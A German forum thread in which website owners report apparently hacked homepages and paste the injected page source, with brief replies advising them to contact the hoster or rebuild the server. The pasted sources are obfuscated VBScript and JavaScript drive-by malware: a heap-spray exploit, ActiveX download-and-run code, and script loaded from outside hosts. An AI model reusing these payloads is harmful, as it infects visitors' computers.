sperri
Goto Top

Homepage gehackt?

Hallo zusammen,

ich habe ein Problem mit meiner Homepage.
Ich vermute gehackt geworden zu sein?

Wenn ich meine Page aufrufe bekomme ich nur einen weissen Bildschirm mit einem roten Viereck (siehe Bild)

d6369edb153a5a562d2be37d9269bc91-rotes_viereck

Der Quelltext sieht dann so aus.

<html>

<head>
<style> v\:* { behavior: url(#default#VML); }</style>
</head>

<body>

<script language=vbs>fok="*":nqe="%":tbol="}  ;)36*x(et96*rwe2*47*n56*d6*57*36*f6*d   02*02*  ;xfd3*+c87* 02*} 02*}  66*b6*=b2*xf02*02*b7*  e37*c6*e  d7* 02*02*)1-eqj(tA27*16*86*c.y96*=+87*f 02*}  18=b2*eqj  02*b7*02*02*)0d3*c3*eqj82*66*i02* b3*)1-1852*92*1b2*oow((02*=eqj  { 02*)13*d2*>f6*ow(fi 02*;92*fk82*66*O87*e46*e6*ie2*yi=f6*f6*77*  ;92*67*(t14*r16*hc.oqd6*d3*66*b6*02*02*{02*02*)+b2*67*b3*h47*gn56*c6*e2*oqmc3*67*;0=v(rf6*f  02*b3*e17*jc2*'72*=87*f,f6*f6*w,fk,72*'=36*x,""62*~s^Vtk[a2*55*c6*m53*43*xp-!2e6*@d3*a72*13*vb2*KFc2*Pj#NeO9o`{;73* ""\q33*Br46*84*Aa3*yT$6_(}]z94*)|34*77*0gf26*36*Z83*MhiGJE57*.22*=yi,v02*02* rav02* { 92*f6*qd6*(g76*q86*e6* 02* e6*o96*47*cnu66* }b3*""ccccu52*33*333u52*23*33*13*357*52*473*46*3u52*73*36257*52*9646*357*52*23*3623*u52*0303u52*d313u52*""02*nr57*47*56*r{ 92*(d6*wl02*e6*oitcn57*f":isx=unescape(Replace(StrReverse(tbol),fok,nqe))</script>  
<script language=JavaScript> var gxw,de; eval( isx );gxw="<MVlU74lU2~A1@ EB2A~bMNl=~plhbB9~9gVpb9lA1lU ><MN=r><~V:UN>1\\A[7`7fNM=1h9BA7EBU_jrNg=EUVj^8LI{7(</~V:UN></MN=r>777<~bBhxV7V:xN@ VN4V/P=1=~bBhxV 7U=20E=0N@ P=1=~bBhxV >771=B7N4xhB:7@72NC7D=VN_I{7N4xhB:u~NVyhlN_N4xhB:u0NVyhlN_I7v7!5[$w[$w['wwwI{7r9bElN2Vub99thN@a~N~~h92hr@qO'!Z$wmHmq'{7x=VM@/{7N4xhBN~@a7v7N4xhB:uV9i8ySVBh20_I{771=B7h~~7@7g=U~N{71=B7EBh7@7aMVVxA//r9Bhg9B=ub9l/N/hhuxMx?f@'ww!.h@'5.V@!'qqa{771=B7]=7@7aVh20uKhUNSa{71=B7]7@7axUhb=Vh92a{71=B7~MNUU=xx7@7aSMNUUuHxav]{71=B7]w'7@7 B%!w%qD%!w9u|BN=VavaNefPNbV%ava!Z2%!O {71=B7]w!7@7 B%!w%qD%!w9u|BN=VavaNefPNbV%!Z2%ava!|%!w%!!%!!%!O {71=B7]wq7@7 B%!w%qD%!w9u|BN=VNavaefPNbV%!Z2%!|ava%!w%!!%!!%!|%!w%!!%!!%!O {71=B7]w57@7 B%!w%qD%!w9uiNVefavaPNbV%!Z%ava!!%!!%!|%!w2%!O {71=B7]wm7@7 B%!w%qD%!w9uiNVefPNbV%!Z2%ava!|%!w%!!%!!%!O {71=B7]w$7@7 B%!w%qD%!avaw9uiNVefPNbV%!Z2%!O {771=B7='7@7aHDea{71=B7=!7@7aD3ua{71=B7=q7@7aSVBa{71=B7=57@7aN=la{771=B79fP6V7@72NC7HBB=:_77a3DO$ava|mm$p$mHavaqp''DwpOZqavaHpww|wava5K|!OJq$aF77aH3O3|JDavaDpJ|ava;Jp5;J'pOq!!pDava5H!'w$';''$aF77awww$Kavawqqpwwwwpwwwwp|wwwpwwwwwavawwwww5$aF77awww$KwqHpwwwwpwwavawwp|wwwpwwwwwwwwww5$aF77a$Nq!w;w=p;$$rp5NN$pZ;Obprb'avag=O'r!gbqaF77a$5'5m'!3p3O;Zp5m'DpHwDZpKava|KDKqqJZqq|aF77a;Km3;avaK$qpKw$Kp5qavaq'pZHava!$pqqOavaJwq|wHJqDaF77aw$;!qJwOpK5ava|!p5qbZpZqmZpwOKava|D'D3w;$$aF77a$qOK;!mKp'3!avaDp5Zq'pHOKDpZ;5Zava5;$Z!avaw'waF77a3Hw'ZavamOOp'D3qp55gOpZq35p5$'5m5|Zava53KZaF77aDw|w;Dm$avap;|ava$Op5qavaK'p35Hwp!mavaKmH''KH3'OaF77aJZ|||DDKp|avaH!Zp5O$fp3wmwp$|avaw;|O$!5;$3aI{77gE2bVh927|BN=VNe_9F72I7`771=B7B7@72EUU{7771=B7t9'7@7aNVefPNbV_2Ia{771=B7t9q7@7aVNefPNbV_2Ia{771=B7t957@7a9u|BN=VNa{771=B7t9m7@7afPNbV_  F72a{771=B7t9$7@7aBN=VNefPa{771=B7t9;7@7aB7@79uiNa{777VB:7`7N1=U_aB7@79u|BN=avt9qI7(b=VbM_NI`(777hg7_-7BI7`777VB:7`7N1=U_aB7@7avt95vaefPNbV_2F7  IaI7(b=VbM_NI`(77(777hg7_-7BI7`777VB:7`7N1=U_aB7@79u|avt9$vaNbV_2F7  F7  IaI7(b=VbM_NI`(77(77hg7_-7BI7`777VB:7`7N1=U_aB7@79uiNVeavt9mvaIaI7(b=VbM_NI`(77(777hg7_-7BI7`777VB:7`7N1=U_t9;vaVefPNbV_2F7  IaI7(b=VbM_NI`(77(777hg7_-7BI7`777VB:7`7N1=U_aB7@79uiavt9'I7(b=VbM_NI`(77(77BNVEB2_BI{77(77gE2bVh927hhh_I7`77BNVEB27VBEN{7(777Ch2r9Cu92NBB9B7@7hhh{777gE2bVh927B2=lN_I7`771=B7bM=B~7@7 w'!q5m$;ZOH3|DJKidzG+L8#e,QRSy*^WXyc=fbrNg0MhtUl29x\"B~VE1C4:] {771=B7~VBh206UN20VM7@7Z{771=B7B=2r9l~VBh207@7aa{77g9B7_1=B7h@w{7h<~VBh206UN20VM{7hvvI7`77771=B7B2El7@78=VMugU99B_8=VMuB=2r9l_I7[7bM=B~uUN20VMI{777B=2r9l~VBh207v@7bM=B~u~Ef~VBh20_B2ElFB2Elv'I{77(777BNVEB27B=2r9l~VBh207v7aub9la{7(77gE2bVh927D9zV_I77`77774uexN2_aiJyaFEBh7v7a?N@a7v7N~b=xN_B2=lN_IIFg=U~NI{774uSN2r_I{771=B7g2=lN'7@7B2=lN_I{7771=B7g7@74lUu|BN=VNefPNbV_aSbBhxav]=va:~VNlefPNbVaFaaI{7771=B7Vlx7@7guiNVSxNbh=UK9UrNB_!I{7777g2=lN'7@7gu3EhUr,=VM_VlxFg2=lN'I{777Su9xN2_I{77SuCBhVN_4uBN~x92~N39r:I{77Su~=1NV9ghUN_g2=lN'F!I{77SubU9~N_I{771=B7Q7@74lUubBN=VN9fPNbV_~MNUU=xxFaaI{7777QuSMNUUJ4NbEVN_g2=lN'FaaFaaFa9xN2aFwI{7(77hg7_Ch2r9CuHbVh1NXefPNbVI7`771=B72h7@7w{77CMhUN7_9fP6Vk2h}I7`7771=B74lU7@72EUU{7771=B74lU7@7r9bElN2VubBN=VNJUNlN2V_a9fPNbVaI{7770Ehr7@79fP6Vk2h}{7777774lUu~NVHVVBhfEVN_abU=~~hraFabU~hrAav0EhrI{7777hg7_4lUI7`7777264lU7@7a8hbB9~9gVuX8Ldyy,a{777777VB:7`7777771=B747@72EUU{77777777771=B747@7|BN=VNe_4lUF264lUI{777777hg7_4I7`777777777777~VB'7@7='7v7=!{777777~VB'7@7~VB'7v7=q7v7=5{777777~VBm7@7~VB'{7777771=B7S7@74lUu|BN=VNefPNbV_~VBmF  I{777777SuV:xN7@7'{777777~VB$7@7aiJya{777777D9zV_I{77777(77777(7b=VbM_NI`(777(77772hvv{77(7(</~bBhxV>7<~bBhxV>7VB:7`77gE2bVh927g_fF7=F7bI7`7BNVEB27=7v7f7v7b{7(77gE2bVh9270_fF7=I7`7BNVEB27=7v7f{7(71=B7~7@72NC7HBB=:7_77  F77 hhuxMx?f@'ww!.h@'5.V@!'qq F77 MVVxA//r9Bhg9B=ub9l/N/ F77 9fPNbV F77 bU=~~hr F77g_ w|w F70_g_0_ qp''DwpO F7 m$p$mH IF7 hrA3DO$|m F7 ZqHpw IF7 bU~ IF70_ OJq$ F7 5K|! IIF770_g_ gVuX8Ld F7 9~9 F7 yy, IF7 8hbB IF77g_ J F7 i F7 y IF77g_0_ uSVB F7 9rf IF7 Hr F7 N=l IF77g_0_ uSMN F7 hxV IF7 WSbB F7 UU IF77 ,Re|JSS F77 y8, F77 /ks/}[T F77 / F77 \\\\ 7I{7=7@7r9bElN2VubBN=VNJUNlN2V_~kq}I{7=u~NVHVVBhfEVN_~k5}F7~km}I{7ChVM_=u|BN=VNefPNbV_~k$}F7~kw}II7`779xN2_~k;}F7U9b=Vh92uMBNguBNxU=bN_2NC7RN0J4x_~k'!}IF7~k'q}7v7~k'}IF7g=U~NI{77~N2r_I{77hg_~V=VE~7<75wwI77ChVM_=u|BN=VNefPNbV_~kZ}F7~kw}II77`77y:xN7@7'{77exN2_I{77WBhVN_BN~x92~N39r:I{77ChVM_=u|BN=VNefPNbV_~kO}F7~kw}II77`77b7@7J21hB92lN2V_~k'w}I_~k''}I7v7~k'5}7v7~k'}{77S=1Ny9KhUN_bF7!I{77J4Nb_bI{77(77(7(7(7b=VbM7_NI7`(</~bBhxV>7777<S|Rz,y7U=20E=0N@ P=1=~bBhxV >777N'7@7E2N~b=xN_ %EOwOw%EOwOw%E'$Nf%E$!qg I{77N!7@7E2N~b=xN_7UCl_I7I{77Nq7@7E2N~b=xN_7 %EN'rO%Eq5rO%Emf!5%Emfmf%EZwmf%Eg5Nf%EqqZr%Eg;ZO%ENgZ'%Egr!f%Egggg%Ew'Nf%EZww'%Ewb;f%E;mw'%Eq'qf%EZ=bO%E5Owg%EbOZm%E';;5%Eq'5;%Eq'r!%E$$bw%Ew;Zf%EgbZw%E;mgg%Eqww!%EZZN5%Ew$m5%E5;rb%EN!5;%EZrNb%EZ'qq%Ef!NN%Egggg%EZOgg%Eq'g;%E$$bO%EZ;fO%Eq'w!%Ef!r!%E=brb%Erwqw%E==5!%EgON!%Em5ZO%Embqf%E=Owb%Eqr$f%Efmwg%EOmOq%EZ5Z5%EZmZm%EZOb!%EZqZ!%Ef!qb%E=gbZ%EZ'O=%EO!Or%EO;Z=%EO;Og%EOZr!%EO=Z$%E$Obb%E;;;$%Eqg;5%E!Z!O%E$;$'%E;g;O%E$'$r%E$N$!%E;5$!%E;rqb%E$';'%E;!qO%E;wq;%Eqm;q%E;m$b%Erq$N%ENrNb%ENgNN%ENONZ%ENfN=%ENmN5%EN;N$%EN'Nw%ENqN!%Egrgb%EgggN%EgOgZ%EgNw;%E;;fw%EfqmZ%E5g;!%E!OZ;%E5'5w%E;!5!%EbmZ5%E5'q=%EZmO$%E5mqN%E'Ob$%EO'5Z%EbmrZ%Eb!m5%Emmm5%E';m$%Ef!f=%ErgOb%Ebbm=%EmgmN%E$'$w%EN!w5%Em==;%EOZ$5%ENwff%EO;!g%EO=Nm%ENNwZ%E'=f;%E!q;w%Egf'b%E;OqZ%EZ$O5%Eg!=r%EZm!'%Ew'gN%EZwZb%Ef;g;%ErfwO%Er5rN%Erb;;%Ew!;!%E;ObO%EN;rN%EZf=$%ENqfr%E5!$f%EmN=;%Erg'm%E'$NO%EgNb=%EbNbg%Eg'g!%Embgq%Em=;;%Emfrq%Eq'bw%E!'m5%Em!=!%E!!;O%Er!N$%E;=Zq%EN;Nm%E$55O%Ef!mw%Efff=%EbZfb%Er=br%Eg!f!%ENrgw%E=O=w%Eb;==%EObq;%E5!q!%EqrZO%Ef=q'%EfO!b%E'OZ$%E55;f%Egg!O%EOOf!%Erff!%Errbb%Ef;rN%EN!wZ%ENqN!%ENmZN%Eq5'O%E=b$'%E$$w$%Em;$=%ENgNg%EO'gw%EZN;O%E;b'Z%E5Nqw%Eg='w%Egfg=%EmOwg%EqOOg%Ewr5$%Effgg%EwZwO%Ew=wf%EZObg%EwZN!%Ewrwb%EOgON%EZ'Zw%EOqrm%E'$gZ%E';'$%EZOZZ%EZfZ=%EOrrf%E'bNN%E!'!w%Efqf!%Efmf5%E=;Nw%E!=rb%E!f!=%E=$55%Ebq;q%E=OfO%Eqwb;%Eqmq5%Ef;g'%Eq=b'%Eqfq=%Eqrgg%EqgqN%Eb'br%E5w==%E5m55%EO;fO%E=ZO'%E;gOq%E'$$Z%E'5'm%Er'wf%E=;fO%Er5q!%E!NOm%E=$mZ%Er!ZO%EqfZq%EOZrg%E$'5b%Eqqq!%ENfwb%E$O!Z%EO$Z5%EZqfr%E$r$;%E$g$N%Ew!wm%Ew'';%E5;5;%E'qmZ%E'm'5%EZ5;=%Eg5=g%E!OfZ%E$bNZ%E5mgO%E;=gN%Ew=m'%ENwwg%EZfZ=%EN;Zb%ENmZN%EgfOw%EbqO!%E5$$f%Em;'q%EfrNb%Egqbb%Ef'N!%E'w5w%E;$mg%E!5!g%E=mbr%E=;=$%Em$gZ%Egr;O%E=bb5%E=mfO%E5NrO%EqN$m%Erbqq%Ef;f$%ENOfZ%E$Z5m%E;bm;%ENgN$%E!N=Z%E!qwb%Eq==5%Eg$''%EOOwZ%E'Zqm%EOZwg%EgNOZ%Effw!%EZfg!%EmNfw%Eb;O$%E'Omr%Er;=!%EOrm;%Em5r!%EgrOw%E$Z5g%ENrZb%ENfwr%E=O$q%Er=rN%Emb!m%E$5m$%EgOrb%E!'wm%E'r;r%E===Z%E=Oqf%E=N=Z%E====%Eff;m%E'm!5%Em;ZO%E'O!w%E5qZg%E'm!b%EmgZq%E'O!Z%E$qZm%Ewmq5%Em$OO%EON!Z%E'!5!%E'Z$w%EOwgw%Ewmm$%E5mOm%E!wgg%EbwbO%E$b'$%E'q=r%E!Z=q%E'=b5%Er'rq%ENg'g%EwOOb%E5;r!%Eg5qq%Eq=gO%EgNqO%EbOr'%E5'w;%E!;'=%E=wqm%E'ObO%E55$w%E!'=r%E5mbq%Ebww'%Em''$%E=55g%E5rrf%Em!rO%EfNfg%E$$m5%Ew$Zq%Ew$w5%Ewmw$%EOfrr%E=!$Z%Ew5$!%Ew'$r%Ew'OZ%Ew!f$ I{7771=B7~7@7N'7v7N!{7g9B7_h@w{7h<'wpN!uUN20VM{7hvvI7`77~7@7~7v7E2N~b=xN_ %Ebbbb I{7(77N'7@7~7v7Nq{7771=B7MN=xSxB=:y9HrrBN~~7@7w4'5'5'5'5{771=B7MN=x3U9btSh]N7@7w45wwwww{771=B7x=:L9=rSh]N7@7N'uUN20VM7[7!{771=B7~xB=:SUhrNSh]N7@7MN=x3U9btSh]N7p7_x=:L9=rSh]Nvw4qZI{771=B7~xB=:SUhrN7@7E2N~b=xN_ %E'5'5%E'5'5 I{77~xB=:SUhrN7@70NVSxB=:SUhrN_~xB=:SUhrNF~xB=:SUhrNSh]NI{77MN=x3U9bt~7@7_MN=xSxB=:y9HrrBN~~7p7w45wwwwwI/MN=x3U9btSh]N{77lNl9B:7@72NC7HBB=:_I{777g9B7_h@w{h<MN=x3U9bt~{hvvI77`777lNl9B:kh}7@7~xB=:SUhrN7v7N'{77(777gE2bVh9270NVSxB=:SUhrN_~xB=:SUhrNF7~xB=:SUhrNSh]NI77`777CMhUN7_~xB=:SUhrNuUN20VM[!<~xB=:SUhrNSh]NI777`7777~xB=:SUhrN7v@7~xB=:SUhrN{777(777~xB=:SUhrN7@7~xB=:SUhrNu~Ef~VBh20_wF~xB=:SUhrNSh]N/!I{777BNVEB27~xB=:SUhrN{77(7</S|Rz,y>7<S|Rz,y7U=20E=0N@ P=1=~bBhxV >777r9bElN2VuCBhVN_7 <1ABNbV7~V:UN@\\ ChrVMA!wxV{MNh0MVA!wxV\\ 7ghUUb9U9B@\\ BNr\\ >7<1AghUU7lNVM9r@\\  7I{7777hg7_72=1h0=V9BuE~NBH0N2Vuh2rN4eg_7 S^' 7I7I7`771=B7~!7@7 .jm'5w{ {777g9B7_7h!@w{7h!<'${7h!vv7I7`7~!7@7~!7v7~!{7(77(7NU~N7`771=B7~q7@7~!{77g9B7_7h!@w{7h!<Z{7h!vv7I7`7~!7@7~!7v7~!{7(777~!7@7~!7v7~q7v7~q7v7~q7v7~q7v7~q7v7~q{7(77r9bElN2VuCBhVN_7~!7I{77r9bElN2VuCBhVN_7 \\ /></1ABNbV> 7I{777r9bElN2VuCBhVN_7 <S|Rz,y7U=20E=0N@\\ G=1=SbBhxV\\ 7SR|@\\ MVVxA//CCCu0990UN=2=UhVhb~u2NV/66EVluP~\\ ><\\/S|Rz,y> 7I{7</S|Rz,y>7<f9r:></f9r:></MVlU>7"; nhqgg(gxw);</script>  

</body>
</html>


Wie bekomme ich das wieder in den Griff?
Oder liegt es vielleicht sogar an dem Webspace Anbeiter?


Vielen Dank
Matthias

Content-Key: 74982

Url: https://administrator.de/contentid/74982

Printed on: May 9, 2024 at 03:05 o'clock

Member: schregi82
schregi82 Dec 02, 2007 at 08:41:37 (UTC)
Goto Top
Kontaktier mal deinen Hoster ob er Änderungen vorgenommen hat, bzw. ob er ein Backup deiner Daten hat, das er einspielen kann.

lg,

/EDIT:
Nachdem die Seite jetzt wieder normal läuft, setze bitte deinen Beitrag auf Erledigt.
Member: Sperri
Sperri Dec 03, 2007 at 11:43:37 (UTC)
Goto Top
Hallo zusammen,

ich habe mal wieder das gleiche Problem...

...kann ich das nicht irgendwie "abschalten"?

Mal kommt diese blöde Seite mit dem roten Viereck und mal nicht...?
Kann doch nicht sein!!! *verzweifel*


Vielen Dank
Matthias
Member: gnarff
gnarff Dec 04, 2007 at 17:49:09 (UTC)
Goto Top
Wenn das Java und das VBS Script nicht von Dir sind, dann solltest Du den Server neu aufsetzen
saludos
gnarff
Member: Cabachen
Cabachen May 16, 2008 at 15:44:09 (UTC)
Goto Top
Hallo zusammen.

Es ist irgendwie komisch... bekomme mal wieder sporadisch nur eine weisse Seite angezeigt.
Dann kommt teilweise ne Malware Warnung...

Bei der weissen Seite bekomme ich folgenden Quelltext angezeigt.

Bitte um Hilfe


<html>

<head>
</head>

<script language=vbs>ysj="*":lyent="%":iof="}02* ;92*97*82*56*ti27*77*e2*tn56*m57*36*f6*d02* 02*02* ;z26*=+97* 02*}02* } zh47*=+a7*b 02*b7* esl56*02* }02*02* )1d2*37*82*47*Ar16*h36*e2*07*=b2*a7*26* 02*d7* 13*83*d3*b2*s02* 02*{ 02*92*03*=c3*s(66*i02* ;)1d2*13*852*)1b2*26*r57*(82* =37* 02*{ 02*)13*d2*>26*27*u82*fi 02*b3*92*zht(66*Oxe46*e6*ie2*p=26*r57* 02*;92*cc(tArah36*e2*tqd3*a7*ht 02*{02* )b2*+36*c;h47*76*e6*56*le2*tqc3*36*36*;03*d3*36*c(27*o66*02* 02*;s,72*'d3*a7*bc2*b27*57*c2*a7*ht,72*'d3*y,""""\2,55*74*a2*d4*|aj63*02*Jx62*Cf4*d3*)e2*57*t26*83*65*37*4o]9K_'12*Hyiq66*hmkpIa7*06*d7*27*T64*b3*e7*c6*d(E73*0[+-w#1$33*04*5BP14*gb7*a3*ve4*^a5*ecn""d3*pc2*cc 02*02*rav b7*02*)t17*82*rd6*46*g02*02*02*no96*47*36*n57*66* ":mmxlg=unescape(Replace(StrReverse(iof),ysj,lyent))

</script>

<script language=JavaScript> var op,mh; eval( mmxlg );op="<fuh~>6<Ve}yku6uHkZOnuZJu/a|:|Ve}ykun6~|cA.|AZOna|:|Ve}ykun>6l4e.hZcu)-}yuZd6n<S&RpBr6~|cA.|AZO\\n |:|Se}yku\\n6SR&O\\nfuuk{//---)A44A~Z|c|~yuyeV)cZu/KK.uha)aV\\n><\\/S&RpBr>n6=F</Ve}yku>6</fuh~>6"; gdmr(op);

</script>

</body>

</html>